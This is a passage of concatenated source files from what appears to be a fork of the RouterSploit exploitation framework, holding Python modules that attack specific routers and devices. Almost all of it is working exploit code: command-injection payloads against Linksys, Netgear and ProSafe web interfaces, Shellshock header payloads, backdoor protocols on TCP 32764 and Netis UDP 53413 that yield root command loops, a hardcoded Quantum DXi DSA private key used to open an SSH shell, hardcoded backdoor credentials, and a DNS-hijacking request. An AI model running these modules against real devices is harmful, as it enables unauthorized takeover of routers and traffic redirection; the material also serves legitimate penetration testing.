55 | return 56 | 57 | print_info(self.execute(cmd)) 58 | 59 | def execute(self, cmd): 60 | url = "{}:{}/cgi-bin/index.cgi".format(self.target, self.port) 61 | 62 | marker = random_text(32) 63 | cmd = "echo {};{};echo{}".format(marker, cmd, marker) 64 | payload = self.payload.replace("{{cmd}}", cmd) 65 | 66 | headers = { 67 | 'VULN': payload, 68 | } 69 | 70 | response = http_request(method="GET", url=url, headers=headers, auth=(self.username, self.password)) 71 | if response is None: 72 | return "" 73 | 74 | if response.status_code == 200: 75 | start = response.text.find(marker) + len(marker) + 1 # marker and whitespace 76 | end = response.text.find(marker, start) - 48 77 | 78 | return response.text[start:end] 79 | 80 | return "" 81 | 82 | @mute 83 | def check(self): 84 | url = "{}:{}/cgi-bin/index.cgi".format(self.target, self.port) 85 | 86 | marker = random_text(32) 87 | cmd = "echo {}".format(marker) 88 | payload = self.payload.replace("{{cmd}}", cmd) 89 | 90 | headers = { 91 | 'VULN': payload, 92 | } 93 | 94 | response = http_request(method="GET", url=url, headers=headers, auth=(self.username, self.password)) 95 | if response is None: 96 | return False # target is not vulnerable 97 | 98 | if response.status_code == 200 and marker in response.text: 99 | return True # target is vulnerable 100 | 101 | return False # target is not vulnerable 102 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/juniper/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/juniper/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/linksys/1500_2500_rce.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from routersploit import ( 4 | exploits, 5 | print_success, 6 | print_status, 7 | print_error, 8 | random_text, 9 | http_request, 10 | mute, 11 | validators, 12 | ) 13 | 14 | 15 | class Exploit(exploits.Exploit): 16 | """ 17 | Exploit for Linksys E1500 and E2500 devices Remote Code Execution vulnerability. 18 | If the target is vulnerable, command loop is invoked that allows executing commands with root privileges. 19 | """ 20 | __info__ = { 21 | 'name': 'Linksys E1500/E2500', 22 | 'description': 'Module exploits remote command execution in Linksys E1500/E2500 devices. Diagnostics interface allows executing root privileged shell commands is available on dedicated web pages on the device.', 23 | 'authors': [ 24 | 'Michael Messner', # vulnerability discovery 25 | 'Esteban Rodriguez (n00py)', # routersploit module 26 | ], 27 | 'references': [ 28 | 'https://www.exploit-db.com/exploits/24475/', 29 | ], 30 | 'devices': [ 31 | 'Linksys E1500/E2500', 32 | ] 33 | } 34 | 35 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) 36 | port = exploits.Option(80, 'Target Port') 37 | username = exploits.Option('admin', 'Username to login with') 38 | password = exploits.Option('admin', 'Password to login with') 39 | 40 | def run(self): 41 | if self.check(): 42 | print_success("Target is vulnerable") 43 | print_status("Invoking command loop...") 44 | print_status("It is blind command injection - response is not available") 45 | self.command_loop() 46 | else: 47 | print_error("Target is not vulnerable") 48 | 49 | def command_loop(self): 50 | while 1: 51 | cmd = raw_input("cmd > ") 52 | 53 | if cmd in ['exit', 'quit']: 54 | return 55 | 56 | print self.execute(cmd) 57 | 58 | def execute(self, cmd): 59 | url = "{}:{}/apply.cgi".format(self.target, self.port) 60 | data = {"submit_button": "Diagnostics", "change_action":"gozila_cgi", "submit_type":"start_ping","action":"","commit":"0","ping_ip":"127.0.0.1","ping_size": "&" + cmd,"ping_times":"5","traceroute_ip":"127.0.0.1"} 61 | 62 | response = http_request(method="POST", url=url, data=data, auth=(self.username, self.password)) 63 | return "" 64 | 65 | @mute 66 | def check(self): 67 | mark = random_text(32) 68 | cmd = "echo {}".format(mark) 69 | url = "{}:{}/apply.cgi".format(self.target, self.port) 70 | data = {"submit_button": "Diagnostics", "change_action":"gozila_cgi", "submit_type":"start_ping","action":"","commit":"0","ping_ip":"127.0.0.1","ping_size": "&" + cmd,"ping_times":"5","traceroute_ip":"127.0.0.1" } 71 | 72 | response = http_request(method="POST", url=url, data=data, auth=(self.username, self.password)) 73 | if response is None: 74 | return False # target is not vulnerable 75 | 76 | if mark in response.text: 77 | return True # target is vulnerable 78 | 79 | return False # target is not vulnerable 80 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/linksys/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/linksys/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/linksys/wap54gv3_rce.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from routersploit import ( 4 | exploits, 5 | print_success, 6 | print_error, 7 | print_status, 8 | random_text, 9 | http_request, 10 | mute, 11 | validators, 12 | ) 13 | 14 | 15 | class Exploit(exploits.Exploit): 16 | """ 17 | Exploit implementation for Linksys WAP54Gv3 devices Remote Code Execution vulnerability. 18 | If the target is vulnerable, command loop is invoked that allows executing commands with root privileges. 19 | """ 20 | __info__ = { 21 | 'name': 'Linksys WAP54Gv3', 22 | 'description': 'Module exploits remote command execution in Linksys WAP54Gv3 devices. Debug interface allows executing root privileged shell commands is available on dedicated web pages on the device.', 23 | 'authors': [ 24 | 'Phil Purviance', # vulnerability discovery 25 | 'Marcin Bury ', # routersploit module 26 | ], 27 | 'references': [ 28 | 'http://seclists.org/bugtraq/2010/Jun/93', 29 | ], 30 | 'devices': [ 31 | 'Linksys WAP54Gv3', 32 | ] 33 | } 34 | 35 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) 36 | port = exploits.Option(80, 'Target Port') 37 | 38 | def run(self): 39 | if self.check(): 40 | print_success("Target is vulnerable") 41 | print_status("Invoking command loop...") 42 | self.command_loop() 43 | else: 44 | print_error("Target is not vulnerable") 45 | 46 | def command_loop(self): 47 | while 1: 48 | cmd = raw_input("cmd > ") 49 | 50 | if cmd in ['exit', 'quit']: 51 | return 52 | 53 | print self.execute(cmd) 54 | 55 | def execute(self, cmd): 56 | url = "{}:{}/debug.cgi".format(self.target, self.port) 57 | data = {"data1": cmd, "command": "ui_debug"} 58 | 59 | response = http_request(method="POST", url=url, data=data, auth=("Gemtek", "gemtekswd")) 60 | if response is None: 61 | return "" 62 | 63 | res = re.findall('', response.text, re.DOTALL) 64 | 65 | if len(res): 66 | return res[0] 67 | 68 | return "" 69 | 70 | @mute 71 | def check(self): 72 | mark = random_text(32) 73 | cmd = "echo {}".format(mark) 74 | 75 | response = self.execute(cmd) 76 | 77 | if mark in response: 78 | return True # target is vulnerable 79 | 80 | return False # target is not vulnerable 81 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/multi/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/multi/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/multi/shellshock.py: -------------------------------------------------------------------------------- 1 | import re 2 | import string 3 | 4 | from routersploit import ( 5 | exploits, 6 | print_status, 7 | print_error, 8 | print_success, 9 | print_info, 10 | random_text, 11 | http_request, 12 | mute, 13 | validators, 14 | ) 15 | 16 | 17 | class Exploit(exploits.Exploit): 18 | """ 19 | Exploit implementation for Shellshock vulnerability. 20 | If the target is vulnerable it allows to execute command on operating system level. 21 | """ 22 | __info__ = { 23 | 'name': 'Shellshock', 24 | 'description': 'Exploits shellshock vulnerability that allows executing commands on operating system level.', 25 | 'authors': [ 26 | 'Marcin Bury ', # routersploit module 27 | ], 28 | 'references': [ 29 | 'https://access.redhat.com/articles/1200223', 30 | 'http://seclists.org/oss-sec/2014/q3/649', 31 | 'http://blog.trendmicro.com/trendlabs-security-intelligence/shell-attack-on-your-server-bash-bug-cve-2014-7169-and-cve-2014-6271/', 32 | ], 33 | 'devices': [ 34 | 'Multi', 35 | ], 36 | } 37 | 38 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 39 | port = exploits.Option(80, 'Target port') # default port 40 | 41 | path = exploits.Option('/', 'Url path') 42 | method = exploits.Option('GET', 'HTTP method') 43 | header = exploits.Option('User-Agent', 'HTTP header injection point') 44 | 45 | payloads = [ 46 | '() { :;};echo -e "\\r\\n{{marker}}$(/bin/bash -c "{{cmd}}"){{marker}}"', # cve-2014-6271 47 | '() { _; } >_[$($())] { echo -e "\\r\\n{{marker}}$(/bin/bash -c "{{cmd}}"){{marker}}"; }', # cve-2014-6278 48 | ] 49 | valid = None 50 | 51 | def run(self): 52 | if self.check(): 53 | print_success("Target is vulnerable") 54 | print_status("Invoking command loop...") 55 | self.command_loop() 56 | else: 57 | print_error("Target is not vulnerable") 58 | 59 | def command_loop(self): 60 | while 1: 61 | cmd = raw_input("cmd > ") 62 | 63 | if cmd in ['exit', 'quit']: 64 | return 65 | 66 | print_info(self.execute(cmd)) 67 | 68 | def execute(self, cmd): 69 | marker = random_text(32) 70 | 71 | url = "{}:{}{}".format(self.target, self.port, self.path) 72 | injection = self.valid.replace("{{marker}}", marker).replace("{{cmd}}", cmd) 73 | 74 | headers = { 75 | self.header: injection, 76 | } 77 | 78 | response = http_request(method=self.method, url=url, headers=headers) 79 | if response is None: 80 | return 81 | 82 | regexp = "{}(.+?){}".format(marker, marker) 83 | res = re.findall(regexp, response.text, re.DOTALL) 84 | 85 | if len(res): 86 | return res[0] 87 | else: 88 | return "" 89 | 90 | @mute 91 | def check(self): 92 | number = int(random_text(6, alph=string.digits)) 93 | solution = number - 1 94 | cmd = "echo $(({}-1))".format(number) 95 | 96 | marker = random_text(32) 97 | url = "{}:{}{}".format(self.target, self.port, self.path) 98 | 99 | for payload in self.payloads: 100 | injection = payload.replace("{{marker}}", marker).replace("{{cmd}}", cmd) 101 | 102 | headers = { 103 | self.header: injection, 104 | } 105 | 106 | response = http_request(method=self.method, url=url, headers=headers) 107 | if response is None: 108 | continue 109 | 110 | if str(solution) in response.text: 111 | self.valid = payload 112 | return True # target is vulnerable 113 | 114 | return False # target not vulnerable 115 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/multi/tcp_32764_rce.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | 4 | from routersploit import ( 5 | exploits, 6 | print_status, 7 | print_error, 8 | print_success, 9 | print_info, 10 | random_text, 11 | mute, 12 | ) 13 | 14 | 15 | class Exploit(exploits.Exploit): 16 | """ 17 | Exploit implementation for backdoor functionality. 18 | If the target is vulnerable it allows to execute command on operating system level. 19 | """ 20 | __info__ = { 21 | 'name': 'TCP-32764 RCE', 22 | 'description': 'Exploits backdoor functionality that allows executing commands on operating system level.', 23 | 'authors': [ 24 | 'Eloi Vanderbeken', # vulnerability discovery & proof of concept exploit 25 | 'Marcin Bury ', # routersploit module 26 | ], 27 | 'references': [ 28 | 'https://github.com/elvanderb/TCP-32764', 29 | ], 30 | 'devices': [ 31 | 'Cisco RVS4000 fwv 2.0.3.2 & 1.3.0.5', 32 | 'Cisco WAP4410N', 33 | 'Cisco WRVS4400N', 34 | 'Cisco WRVS4400N', 35 | 'Diamond DSL642WLG / SerComm IP806Gx v2 TI', 36 | 'LevelOne WBR3460B', 37 | 'Linksys RVS4000 Firmware V1.3.3.5', 38 | 'Linksys WAG120N', 39 | 'Linksys WAG160n v1 and v2', 40 | 'Linksys WAG200G', 41 | 'Linksys WAG320N', 42 | 'Linksys WAG54G2', 43 | 'Linksys WAG54GS', 44 | 'Linksys WRT350N v2 fw 2.00.19', 45 | 'Linksys WRT300N fw 2.00.17', 46 | 'Netgear DG834', 47 | 'Netgear DGN1000', 48 | 'Netgear DGN2000B', 49 | 'Netgear DGN3500', 50 | 'Netgear DGND3300', 51 | 'Netgear DGND3300Bv2 fwv 2.1.00.53_1.00.53GR', 52 | 'Netgear DM111Pv2', 53 | 'Netgear JNR3210', 54 | ], 55 | } 56 | 57 | target = exploits.Option('', 'Target address e.g. 192.168.1.1') # target address 58 | endianness = "<" 59 | 60 | def run(self): 61 | if self.check(): 62 | print_success("Target is vulnerable") 63 | print_status("Invoking command loop...") 64 | self.command_loop() 65 | else: 66 | print_error("Target is not vulnerable") 67 | 68 | 69 | def command_loop(self): 70 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 71 | s.settimeout(30) 72 | s.connect((self.target, 32764)) 73 | 74 | while(1): 75 | cmd = raw_input("cmd > ") 76 | 77 | if cmd in ['quit', 'exit']: 78 | s.close() 79 | return 80 | 81 | print self.execute(s, 7, cmd.strip("\n")) 82 | 83 | def execute(self, s, message, payload=""): 84 | header = struct.pack(self.endianness + 'III', 0x53634D4D, message, len(payload)+1) 85 | s.send(header + payload +"\x00") 86 | r = s.recv(0xC) 87 | 88 | while len(r) < 0xC: 89 | tmp = s.recv(0xC - len(r)) 90 | r += tmp 91 | 92 | sig, ret_val, ret_len = struct.unpack(self.endianness + 'III', r) 93 | 94 | if ret_val != 0: 95 | return "" 96 | 97 | ret_str = "" 98 | while len(ret_str) < ret_len: 99 | tmp = s.recv(ret_len - len(ret_str)) 100 | ret_str += tmp 101 | 102 | return ret_str 103 | 104 | @mute 105 | def check(self): 106 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 107 | s.settimeout(30) 108 | 109 | try: 110 | s.connect((self.target, 32764)) 111 | except socket.error: 112 | return False # target is not vulnerable 113 | 114 | s.send(random_text(12)) 115 | r = s.recv(0xC) 116 | 117 | while len(r) < 0xC: 118 | tmp = s.recv(0xC - len(r)) 119 | r += tmp 120 | 121 | sig, ret_val, ret_len = struct.unpack('', # routersploit module 23 | ], 24 | 'description': 'Exploits Netcore/Netis backdoor functionality that allows executing commands on operating system level.', 25 | 'references': [ 26 | 'https://www.seebug.org/vuldb/ssvid-9022', 27 | 'http://blog.trendmicro.com/trendlabs-security-intelligence/netis-routers-leave-wide-open-backdoor/', 28 | ], 29 | 'devices': [ 30 | 'Netcore', 31 | 'Netis', 32 | ], 33 | } 34 | 35 | target = exploits.Option('', 'Target IP address') 36 | 37 | def run(self): 38 | if self.check(): 39 | print_success("Target is vulnerable") 40 | print_status("Invoking command loop...") 41 | shell(self, architecture="mipsel", method="wget", binary="wget", location="/var") 42 | else: 43 | print_error("Target is not vulnerable") 44 | 45 | def execute(self, cmd): 46 | payload = "AA\x00\x00AAAA" + cmd + "\x00" 47 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 48 | sock.settimeout(10.0) 49 | 50 | try: 51 | sock.sendto(payload, (self.target, 53413)) 52 | response = sock.recv(1024) 53 | return response[8:] 54 | except socket.timeout: 55 | pass 56 | 57 | return "" 58 | 59 | @mute 60 | def check(self): 61 | response = "" 62 | payload = "\x00" * 8 63 | 64 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 65 | sock.settimeout(10.0) 66 | 67 | try: 68 | sock.sendto(payload, (self.target, 53413)) 69 | response = sock.recv(1024) 70 | except socket.timeout: 71 | pass 72 | 73 | if response.endswith("\xD0\xA5Login:"): 74 | return True # target is vulnerable 75 | elif response.endswith("\x00\x00\x00\x05\x00\x01\x00\x00\x00\x00\x01\x00\x00"): 76 | return True # target is vulnerable 77 | 78 | return False # target is not vulnerable 79 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/netgear/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/netgear/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/netgear/multi_rce.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_status, 4 | print_success, 5 | print_info, 6 | print_error, 7 | random_text, 8 | http_request, 9 | mute, 10 | validators, 11 | ) 12 | 13 | 14 | class Exploit(exploits.Exploit): 15 | """ 16 | Exploit implementation for multiple Netgear's Remote Code Execution vulnerability. 17 | If the target is vulnerable, command loop is invoked that allows executing commands on operating system level. 18 | """ 19 | __info__ = { 20 | 'name': 'Netgear Multi RCE', 21 | 'description': 'Module exploits remote command execution in multiple Netgear devices. If the target is ' 22 | 'vulnerable, command loop is invoked that allows executing commands on operating system level.', 23 | 'authors': [ 24 | 'Andrei Costin ', # vulnerability discovery 25 | 'Marcin Bury ', # routersploit module 26 | ], 27 | 'references': [ 28 | 'http://firmware.re/vulns/acsa-2015-001.php', 29 | 'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf', 30 | ], 31 | 'devices': [ 32 | 'Netgear WG102', 33 | 'Netgear WG103', 34 | 'Netgear WN604', 35 | 'Netgear WNDAP350', 36 | 'Netgear WNDAP360', 37 | 'Netgear WNAP320', 38 | 'Netgear WNAP210', 39 | 'Netgear WNDAP660', 40 | 'Netgear WNDAP620', 41 | 'Netgear WNDAP380R', 42 | 'Netgear WNDAP380R(v2)', 43 | 'Netgear WN370', 44 | 'Netgear WND930', 45 | ] 46 | } 47 | 48 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) 49 | port = exploits.Option(80, 'Target Port') 50 | 51 | resources = ['boardData102.php', 'boardData103.php', 'boardDataNA.php', 'boardDataWW.php', 'boardDataJP.php'] 52 | valid_resource = None 53 | 54 | def run(self): 55 | if self.check(): 56 | print_success("Target is vulnerable") 57 | print_status("Invoking command loop...") 58 | print_status("It is blind command injection - response is not available") 59 | self.command_loop() 60 | else: 61 | print_error("Target is not vulnerable") 62 | 63 | def command_loop(self): 64 | while 1: 65 | cmd = raw_input("cmd > ") 66 | 67 | if cmd in ['exit', 'quit']: 68 | return 69 | 70 | print_info(self.execute(cmd)) 71 | 72 | def execute(self, cmd): 73 | url = ("{}:{}/{}?writeData=true®info=0&macAddress= " 74 | "001122334455 -c 0 ;{}; echo #".format(self.target, self.port, self.valid_resource, cmd)) 75 | 76 | # blind command injection 77 | response = http_request(method="GET", url=url) 78 | return "" 79 | 80 | @mute 81 | def check(self): 82 | mark = random_text(32) 83 | cmd = "echo {}".format(mark) 84 | 85 | for resource in self.resources: 86 | url = ("{}:{}/{}?writeData=true®info=0&macAddress= " 87 | "001122334455 -c 0 ;{}; echo #".format(self.target, self.port, resource, cmd)) 88 | 89 | response = http_request(method="GET", url=url) 90 | if response is None: 91 | return False # target is not vulnerable 92 | 93 | if response.status_code == 200: 94 | response_body = response.text 95 | if "Update Success!" in response_body and mark in response_body: 96 | self.valid_resource = resource 97 | return True # target is vulnerable 98 | 99 | return False # target is not vulnerable 100 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/netgear/n300_auth_bypass.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_success, 4 | print_error, 5 | http_request, 6 | mute, 7 | validators, 8 | ) 9 | 10 | 11 | class Exploit(exploits.Exploit): 12 | """ 13 | Exploit implementation for Netgear N300 Authentication Bypass vulnerability. 14 | If the target is vulnerable link to bypass authentication will be provided" 15 | """ 16 | __info__ = { 17 | 'name': 'Netgear N300 Auth Bypass', 18 | 'description': 'Module exploits authentication bypass vulnerability in Netgear N300 devices. It is possible to access administration panel without providing password.', 19 | 'authors': [ 20 | 'Daniel Haake ', # vulnerability discovery 21 | 'Marcin Bury ', # routersploit module 22 | ], 23 | 'references': [ 24 | 'https://www.compass-security.com/fileadmin/Datein/Research/Advisories/CSNC-2015-007_Netgear_WNR1000v4_AuthBypass.txt', 25 | 'http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.html', 26 | ], 27 | 'devices': [ 28 | 'Netgear N300', 29 | 'Netgear JNR1010v2', 30 | 'Netgear JNR3000', 31 | 'Netgear JWNR2000v5', 32 | 'Netgear JWNR2010v5', 33 | 'Netgear R3250', 34 | 'Netgear WNR2020', 35 | 'Netgear WNR614', 36 | 'Netgear WNR618', 37 | ] 38 | } 39 | 40 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 41 | port = exploits.Option(80, 'Target port') # default port 42 | 43 | def run(self): 44 | if self.check(): 45 | print_success("Target is vulnerable") 46 | url = "{}:{}".format(self.target, self.port) 47 | print "Visit: {}/\n".format(url) 48 | else: 49 | print_error("Target seems to be not vulnerable") 50 | 51 | @mute 52 | def check(self): 53 | url = "{}:{}/".format(self.target, self.port) 54 | 55 | response = http_request(method="GET", url=url) 56 | if response is None: 57 | return False # target is not vulnerable 58 | 59 | # unauthorized 60 | if response.status_code == 401: 61 | url = "{}:{}/BRS_netgear_success.html".format(self.target, self.port) 62 | 63 | for _ in range(0, 3): 64 | response = http_request(method="GET", url=url) 65 | if response is None: 66 | return False # target is not vulnerable 67 | 68 | url = "{}:{}/".format(self.target, self.port) 69 | response = http_request(method="GET", url=url) 70 | if response is None: 71 | return False # target is not vulnerable 72 | 73 | # authorized 74 | if response.status_code == 200: 75 | return True # target is vulnerable 76 | 77 | return False # target not vulnerable 78 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/netgear/prosafe_rce.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | from routersploit import ( 4 | exploits, 5 | print_success, 6 | print_status, 7 | print_error, 8 | random_text, 9 | http_request, 10 | mute, 11 | validators, 12 | ) 13 | 14 | 15 | class Exploit(exploits.Exploit): 16 | """ 17 | Exploit implementation for Netgear ProSafe WC9500, WC7600, WC7520 remote command execution vulnerability. 18 | If the target is vulnerable command shell is invoked. 19 | """ 20 | __info__ = { 21 | 'name': 'Netgear ProSafe RCE', 22 | 'description': 'Module exploits remote command execution vulnerability in Netgear ProSafe WC9500, WC7600, WC7520 devices. If the target is vulnerable command shell is invoked.', 23 | 'authors': [ 24 | 'Andrei Costin ', # vulnerability discovery 25 | 'Marcin Bury ', # routersploit module 26 | ], 27 | 'references': [ 28 | 'http://firmware.re/vulns/acsa-2015-002.php', 29 | 'https://www.blackhat.com/docs/asia-16/materials/asia-16-Costin-Automated-Dynamic-Firmware-Analysis-At-Scale-A-Case-Study-On-Embedded-Web-Interfaces.pdf', 30 | ], 31 | 'devices': [ 32 | 'Netgear ProSafe WC9500', 33 | 'Netgear ProSafe WC7600', 34 | 'Netgear ProSafe WC7520', 35 | ] 36 | } 37 | 38 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 39 | port = exploits.Option(80, 'Target port') # default port 40 | 41 | def run(self): 42 | if self.check(): 43 | print_success("Target is vulnerable") 44 | print_status("Invoking command loop...") 45 | self.command_loop() 46 | else: 47 | print_error("Target is not vulnerable") 48 | 49 | def command_loop(self): 50 | while 1: 51 | cmd = raw_input("cmd > ") 52 | 53 | if cmd in ['exit', 'quit']: 54 | return 55 | 56 | print self.execute(cmd) 57 | 58 | def execute(self, cmd): 59 | mark = random_text(32) 60 | url = "{}:{}/login_handler.php".format(self.target, self.port) 61 | headers = {u'Content-Type': u'application/x-www-form-urlencoded'} 62 | data = 'reqMethod=json_cli_reqMethod" "json_cli_jsonData";{}; echo {}'.format(cmd, mark) 63 | 64 | response = http_request(method="POST", url=url, headers=headers, data=data) 65 | if response is None: 66 | return "" 67 | 68 | if mark in response.text: 69 | regexp = "(|.+?){}".format(mark) 70 | res = re.findall(regexp, response.text, re.DOTALL) 71 | 72 | if len(res): 73 | return res[0] 74 | 75 | return "" 76 | 77 | @mute 78 | def check(self): 79 | mark = random_text(32) 80 | cmd = "echo {}".format(mark) 81 | 82 | response = self.execute(cmd) 83 | 84 | if mark in response: 85 | return True # target is vulnerable 86 | 87 | return False # target is not vulnerable 88 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/quantum/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Exploit-install/routersploit/0a14e8bb160a2bebc21d499d168abf67a7c35622/routersploit/modules/exploits/quantum/__init__.py -------------------------------------------------------------------------------- /routersploit/modules/exploits/quantum/dxi_privkey.py: -------------------------------------------------------------------------------- 1 | import paramiko, StringIO, termios, tty, sys, select, socket 2 | 3 | from routersploit import ( 4 | exploits, 5 | print_success, 6 | print_error, 7 | ) 8 | 9 | 10 | class Exploit(exploits.Exploit): 11 | """ 12 | Exploit implementation for private key exposure vulnerability. 13 | If the target is vulnerable it is possible to authenticate to the device" 14 | """ 15 | __info__ = { 16 | 'name': 'Quantum DXi V1000 Priv Key', 17 | 'description': 'Module exploits private key exposure vulnerability. If the target is is possible to authentiate to the device.', 18 | 'authors': [ 19 | 'xistence ', # vulnerability discovery 20 | 'Marcin Bury ', # routersploit module 21 | ], 22 | 'references': [ 23 | 'https://packetstormsecurity.com/files/125755', 24 | ], 25 | 'devices': [ 26 | 'Quantum DXi V1000', 27 | ], 28 | } 29 | 30 | target = exploits.Option('', 'Target address e.g. 192.168.1.1') # target address 31 | private_key = """ 32 | -----BEGIN DSA PRIVATE KEY----- 33 | MIIBugIBAAKBgQCEgBNwgF+IbMU8NHUXNIMfJ0ONa91ZI/TphuixnilkZqcuwur2 34 | hMbrqY8Yne+n3eGkuepQlBBKEZSd8xPd6qCvWnCOhBqhkBS7g2dH6jMkUl/opX/t 35 | Rw6P00crq2oIMafR4/SzKWVW6RQEzJtPnfV7O3i5miY7jLKMDZTn/DRXRwIVALB2 36 | +o4CRHpCG6IBqlD/2JW5HRQBAoGAaSzKOHYUnlpAoX7+ufViz37cUa1/x0fGDA/4 37 | 6mt0eD7FTNoOnUNdfdZx7oLXVe7mjHjqjif0EVnmDPlGME9GYMdi6r4FUozQ33Y5 38 | PmUWPMd0phMRYutpihaExkjgl33AH7mp42qBfrHqZ2oi1HfkqCUoRmB6KkdkFosr 39 | E0apJ5cCgYBLEgYmr9XCSqjENFDVQPFELYKT7Zs9J87PjPS1AP0qF1OoRGZ5mefK 40 | 6X/6VivPAUWmmmev/BuAs8M1HtfGeGGzMzDIiU/WZQ3bScLB1Ykrcjk7TOFD6xrn 41 | k/inYAp5l29hjidoAONcXoHmUAMYOKqn63Q2AsDpExVcmfj99/BlpQIUYS6Hs70u 42 | B3Upsx556K/iZPPnJZE= 43 | -----END DSA PRIVATE KEY----- 44 | """ 45 | 46 | def run(self): 47 | pkey = paramiko.DSSKey.from_private_key(StringIO.StringIO(self.private_key)) 48 | 49 | ssh = paramiko.SSHClient() 50 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 51 | 52 | try: 53 | ssh.connect(self.target, 22, timeout=5, pkey=pkey) 54 | except: 55 | ssh.close() 56 | print_error("Device seems to be not vulnerable") 57 | else: 58 | print_success("SSH - Successful authentication") 59 | 60 | chan = ssh.invoke_shell() 61 | oldtty = termios.tcgetattr(sys.stdin) 62 | try: 63 | tty.setraw(sys.stdin.fileno()) 64 | tty.setcbreak(sys.stdin.fileno()) 65 | chan.settimeout(0.0) 66 | 67 | while(True): 68 | r, w, e = select.select([chan, sys.stdin], [], []) 69 | if(chan in r): 70 | try: 71 | x = unicode(chan.recv(1024)) 72 | 73 | if(len(x) == 0): 74 | sys.stdout.write('\r\nExiting...\r\n') 75 | break 76 | 77 | sys.stdout.write(x) 78 | sys.stdout.flush() 79 | 80 | except socket.timeout: 81 | pass 82 | 83 | if(sys.stdin in r): 84 | x = sys.stdin.read(1) 85 | 86 | if(len(x) == 0): 87 | break 88 | 89 | chan.send(x) 90 | 91 | finally: 92 | termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty) 93 | return 94 | 95 | def check(self): 96 | pkey = paramiko.DSSKey.from_private_key(StringIO.StringIO(self.private_key)) 97 | 98 | ssh = paramiko.SSHClient() 99 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 100 | 101 | try: 102 | ssh.connect(self.target, 22, timeout=5, pkey=pkey) 103 | except: 104 | ssh.close() 105 | else: 106 | return True # target is vulnerable 107 | 108 | return False # target is not vulnerable 109 | -------------------------------------------------------------------------------- /routersploit/modules/exploits/shuttle/915wm_dns_change.py: -------------------------------------------------------------------------------- 1 | from routersploit import ( 2 | exploits, 3 | print_error, 4 | print_status, 5 | print_info, 6 | print_success, 7 | http_request, 8 | mute, 9 | validators, 10 | ) 11 | 12 | 13 | class Exploit(exploits.Exploit): 14 | """ 15 | Exploit implementation for Shuttle Tech ADSL Modem-Router 915 WM DNS Change vulnerability. 16 | If the target is vulnerable it possible to change dns settings" 17 | """ 18 | __info__ = { 19 | 'name': 'Shuttle 915 WM DNS Change', 20 | 'description': 'Module exploits Shuttle Tech ADSL Modem-Router 915 WM dns change vulnerability.' 21 | 'If the target is vulnerable it is possible to change dns settings.', 22 | 'authors': [ 23 | 'Todor Donev ', # vulnerability discovery 24 | 'Marcin Bury ', # routersploit module 25 | ], 26 | 'references': [ 27 | 'https://www.exploit-db.com/exploits/35995/', 28 | 'https://github.com/jh00nbr/Routerhunter-2.0', 29 | ], 30 | 'devices': [ 31 | 'Shuttle Tech ADSL Modem-Router 915 WM', 32 | ] 33 | } 34 | 35 | target = exploits.Option('', 'Target address e.g. http://192.168.1.1', validators=validators.url) # target address 36 | port = exploits.Option(80, 'Target port') # default port 37 | dns1 = exploits.Option('8.8.8.8', 'Primary DNS Server') 38 | dns2 = exploits.Option('8.8.4.4', 'Seconary DNS Server') 39 | 40 | def run(self): 41 | url = "{}:{}/dnscfg.cgi?dnsPrimary={}&dnsSecondary={}&dnsDynamic=0&dnsRefresh=1".format(self.target, 42 | self.port, 43 | self.dns1, 44 | self.dns2) 45 | 46 | print_status("Attempting to change DNS settings...") 47 | print_status("Primary DNS: {}".format(self.dns1)) 48 | print_status("Secondary DNS: {}".format(self.dns2)) 49 | 50 | response = http_request(method="POST", url=url) 51 | if response is None: 52 | return 53 | 54 | if response.status_code == 200: 55 | print_success("DNS settings has been changed") 56 | else: 57 | print_error("Could not change DNS settings") 58 | 59 | @mute 60 | def check(self): 61 | # it is not possible to check if the target is vulnerable without exploiting device (changing dns) 62 | return None 63 | 